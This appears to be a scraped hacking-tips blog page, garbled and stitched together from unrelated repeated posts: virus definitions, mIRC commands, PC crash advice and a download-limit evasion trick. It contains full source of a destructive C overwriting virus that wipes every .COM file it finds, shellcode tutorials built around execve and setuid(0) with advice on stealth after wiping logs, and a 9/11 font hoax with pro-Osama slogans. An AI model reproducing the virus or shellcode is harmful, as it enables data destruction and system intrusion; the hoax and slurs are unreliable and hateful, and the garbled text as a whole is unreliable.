A virus is a program that copies itself. That's the definition of a virus. In retrospect, it's unfortunate that the word `virus' was used; it makes the problem sound a lot worse than it is, and people get the plural wrong [the plural is not `viri', or even `virii', it's `viruses']. It might have been better to use the word `weed'. But we're stuck with `virus'.
A virus need do no more than replicate in order to be a virus. Indeed, 95% of viruses do no more than that, plus some trivial extra like beeping the keyboard, or displaying a message. And conversely, if a program does something nasty that you weren't expecting, that doesn't make it a virus, unless it replicates. Such a program is called a `trojan', after the famous horse of Troy.
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Spam Bugs Denials of service Malicious software
Spam
The term commonly used to describe the abundance of unsolicited bulk email which plagues the mailboxes of Internet users worldwide. The statistics vary over time, but suggest that over 70% of email traffic currently falls into this category.1)
Bugs
These are software errors which, when they crop up, can kill off your software immediately, if you're lucky. They can also result in data corruption, security weaknesses, and spurious, hard-to-find problems.
Denials of service
Denial-of-service attacks, or DoS attacks,2 starve legitimate usage of resources or services. For example, a DoS attack could use up all available disk space on a system, so that other users couldn't make use of it; generating reams of network traffic so that real traffic can't get through would also be a denial of service. Simple DoS attacks are relatively easy to mount by simply overwhelming a machine with requests, as a toddler might overwhelm their parents with questions. Sophisticated DoS attacks can involve more finesse, and may trick a machine into shutting a service down instead of flooding it.
Malicious software
The real war is waged with malicious software, or malware. This is software whose intent is malicious, or whose effect is malicious. The spectrum of malware covers a wide variety of specific threats, including viruses, worms, Trojan horses, and spyware.
The term commonly used to describe the abundance of unsolicited bulk email which plagues the mailboxes of Internet users worldwide. The statistics vary over time, but suggest that over 70% of email traffic currently falls into this category.1)
Bugs
These are software errors which, when they crop up, can kill off your software immediately, if you're lucky. They can also result in data corruption, security weaknesses, and spurious, hard-to-find problems.
Denials of service
Denial-of-service attacks, or DoS attacks,2 starve legitimate usage of resources or services. For example, a DoS attack could use up all available disk space on a system, so that other users couldn't make use of it; generating reams of network traffic so that real traffic can't get through would also be a denial of service. Simple DoS attacks are relatively easy to mount by simply overwhelming a machine with requests, as a toddler might overwhelm their parents with questions. Sophisticated DoS attacks can involve more finesse, and may trick a machine into shutting a service down instead of flooding it.
Malicious software
The real war is waged with malicious software, or malware. This is software whose intent is malicious, or whose effect is malicious. The spectrum of malware covers a wide variety of specific threats, including viruses, worms, Trojan horses, and spyware.
virus written in C.
The following virus is an extremely simple overwriting virus written in C. It will infect all .COM files within the current directory, destroying them completely. As it infects each file, it will print "Infecting [FILENAME]" on the screen as a warning. If you compile it to test it, compile it once, then EXE2BIN it and check the resultant size. If it does not equal 9504 bytes, change the line "x=9054;" to the appropriate size value. Do be careful with this virus, because while it is a primitive one, it will destroy any .COM files that it hits.
======================================================================================
- - ------------------ Cut Here -------------------------- - -
/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */
/* It was presented in Virology 101 (c) 1993 Black Wolf */
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
#include
#include
#include
FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;
main()
{
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
while (!done) /* Loop for all COM's in DIR*/
{
printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
Virus=fopen(_argv[0],"rb"); /* Open infected file */
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
x=9504; /* Virus size - must */
/* be correct for the */
/* compiler it is made */
/* on, otherwise the */
/* entire virus may not*/
/* be copied!! */
while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/
done = findnext(&ffblk); /* go for another one. */
}
/* Activation would go */
/* here */
return (0); /* Terminate */
}
- - ------------------ Cut Here --------------------------- - -
fuckkkkkkkkkkkkkkkkkkkkk
======================================================================================
- - ------------------ Cut Here -------------------------- - -
/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */
/* It was presented in Virology 101 (c) 1993 Black Wolf */
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
#include
#include
#include
FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;
main()
{
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
while (!done) /* Loop for all COM's in DIR*/
{
printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
Virus=fopen(_argv[0],"rb"); /* Open infected file */
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
x=9504; /* Virus size - must */
/* be correct for the */
/* compiler it is made */
/* on, otherwise the */
/* entire virus may not*/
/* be copied!! */
while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/
done = findnext(&ffblk); /* go for another one. */
}
/* Activation would go */
/* here */
return (0); /* Terminate */
}
- - ------------------ Cut Here --------------------------- - -
fuckkkkkkkkkkkkkkkkkkkkk
one 1 step how to add subtitle in windows media 11 with .srt file
install and download at :-
http://www.softpedia.com/get/Multimedia/Video/Codec-Packs-Video-Codecs/VobSub.shtml
http://www.softpedia.com/get/Multimedia/Video/Codec-Packs-Video-Codecs/VobSub.shtml
Word Q33NY
Open a Word document and type: Q33NY.
This is the flight numer of the jet that hit the first of the Twin Towers at
9/11.
Now: change the size of the font to at least 48, then....change the font with:
WINGDINGS,
(one of the oldest font for symbols) and see what comes out.
Weird.
FUCK BUSH....FUCK AMERICA
YES IRAN IRAQ OSAMA
This is the flight numer of the jet that hit the first of the Twin Towers at
9/11.
Now: change the size of the font to at least 48, then....change the font with:
WINGDINGS,
(one of the oldest font for symbols) and see what comes out.
Weird.
FUCK BUSH....FUCK AMERICA
YES IRAN IRAQ OSAMA
TWO STEP Unlimited Rapidshare Downloads !!!!!
1) Clean up IE or netscape cookie
2)
On Command prompt
type -----> ipconfig /flushdns <---Enter
type -----> ipconfig /release <---Enter
type -----> ipconfig /renew <---Enter
type -----> exit <--------Enter
2)
On Command prompt
type -----> ipconfig /flushdns <---Enter
type -----> ipconfig /release <---Enter
type -----> ipconfig /renew <---Enter
type -----> exit <--------Enter
84 MIRC COMMAND ---- PART 4
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file
84 MIRC COMMAND ---- PART 2
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
84 MIRC COMMAND ---- PART 3
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
84 MIRC COMMAND ---- PART 1
/ Recalls the previous command entered in the current window.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
Advanced Shellcoding Techniques ( PART 3 )
Unlocking the power of leal
The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.
xorl %ecx,%ecx
leal 0x10(%ecx),%eax
This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it's desitination operand. In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:
xorl %eax,%eax
movb $0x10,%eax
I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted. Here's an example:
xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80
xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80
Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.
The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.
xorl %ecx,%ecx
leal 0x10(%ecx),%eax
This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it's desitination operand. In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:
xorl %eax,%eax
movb $0x10,%eax
I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted. Here's an example:
xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80
xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80
Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.
Advanced Shellcoding Techniques ( PART 2 )
The div instruction
Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let's think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:
xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80
divl %eax # -1 / -1 = 1
int $0x80
Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.
Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let's think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:
xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80
divl %eax # -1 / -1 = 1
int $0x80
Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.
Advanced Shellcoding Techniques ( PART 1 )
The multiplicity of mul
This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it's purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.
mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:
movl $0x0a,%eax
mul $0x0a
This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).
So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it's about time for some example code, so here it is:
xorl %ecx,%ecx
mul %ecx
What is this shellcode doing? Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax's previous contents, %eax must now be 0. However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.
This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it's purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.
mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:
movl $0x0a,%eax
mul $0x0a
This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).
So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it's about time for some example code, so here it is:
xorl %ecx,%ecx
mul %ecx
What is this shellcode doing? Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax's previous contents, %eax must now be 0. However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.
10 reasons why PCs crash U must Know (PART 2)
6 Viruses
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).
7 Printers
The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
8 Software
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.
9 Overheating
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.
10 Power supply problems
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).
7 Printers
The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
8 Software
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.
9 Overheating
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.
